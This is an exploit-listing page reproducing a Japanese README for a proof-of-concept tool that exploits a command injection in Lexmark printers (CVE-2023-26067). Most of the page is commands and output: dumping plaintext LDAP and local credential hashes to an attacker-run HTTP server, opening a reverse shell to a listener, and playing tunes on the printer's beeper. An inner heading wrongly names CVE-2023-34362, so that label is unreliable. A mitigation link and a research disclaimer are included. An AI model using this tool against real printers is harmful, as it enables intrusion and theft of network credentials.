Sploitus

Exploit for CVE-2023-26067 CVE-2023-26067 CVE-2023-34362

kitploit · 2026-09-04

Exploit Code

MARKDOWN91 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HORIZON3AI-CVE-2023-26067
# CVE-2023-34362

コマンドインジェクション（CVE-2023-26067）を悪用して、Lexmark プリンターの資格情報ダンプ、リバースシェル、音楽再生を実現する PoC。

## 技術分析

脆弱性の根本原因分析は、弊社ブログをご覧ください： https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022

## 概要

この PoC はコマンドインジェクションを悪用し、httpd ユーザーとしてシェルを取得します。

## 平文の Active Directory サービス資格情報とローカル資格情報のダンプ

root@kitploit:~
    
    
    python3 CVE-2023-26067.py -u http://192.168.0.207 -l 192.168.0.69
    [*] Sending wakeup 1
    [*] Sending wakeup 2
    [*] Checking if vulnerable page is accessible
    [*] Vulnerable page accessible!
    [*] Checking if vulnerable
    [*] Sending payload to server...
    [*] Listening for blind output on 0.0.0.0:443
    [*] Sent payload
    [+] id output: uid=985(httpd) gid=982(httpd) groups=982(httpd)
    [*] Attempting to dump auth database
    [*] Sending payload to server...
    [*] Starting HTTP server on 8443
    [*] Sent payload
    [*] Waiting to pilfer database...
    [+] LDAP Credentials:
    svc_print:Sm0k3123!
    [+] Local Credentials:
    admin:$5$rounds=5287$6Y1cf0tBS3OwZuq8$pawzA66JhU/SfsSMRct99OFbaliCs.JiXuIPAYJTI/4
    bob:$5$rounds=9194$bolamYfd6e11yH8H$d1XSMlK8c5UqfletJAPHvv8L1CHKBgBNufcCkWluX4C
    

## リバースシェル

root@kitploit:~
    
    
    sudo python3 Print4Shell.py -r 192.168.1.185 -l 192.168.1.212
    [*] Sending wakeup 1...
    [*] Sending wakeup 2...
    [*] Starting listener on 0.0.0.0:443...
    [*] Sending payload to server...
    httpd@ls:/usr/share/web/cgi-bin$ 
    

## 音楽再生

root@kitploit:~
    
    
    python3 BitConductor.py -s mario
    Converting: mario
    ----------
    rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 233 duration 180 offDuration 490 frequency 233 duration 180 offDuration 490 frequency 155 duration 180 offDuration 490 frequency 116 duration 180 offDuration 210 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210 frequency 116 duration 180 offDuration 140
    ----------
    rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 350 frequency 155 duration 180 offDuration 350 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210
    ----------
    rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 116 duration 180 offDuration 140 frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 0
    

## デモ

https://github.com/horizon3ai/CVE-2023-26067/assets/18901000/260400e5-83a3-4491-a159-1193660b9da4

## 緩和策

Lexmark のセキュリティアドバイザリの指示に従い、最新のファームウェアバージョンに更新してください。

  * https://publications.lexmark.com/publications/security-alerts/CVE-2023-26067.pdf



## 最新のセキュリティ研究については、Twitter で Horizon3.ai Attack Team をフォローしてください：

  * Horizon3 Attack Team
  * James Horseman
  * Zach Hanley



## 免責事項

このソフトウェアは学術研究と効果的な防御技術の開発のみを目的として作成されたものであり、明示的に許可された場合を除き、システムへの攻撃を目的としたものではありません。プロジェクトメンテナーはソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。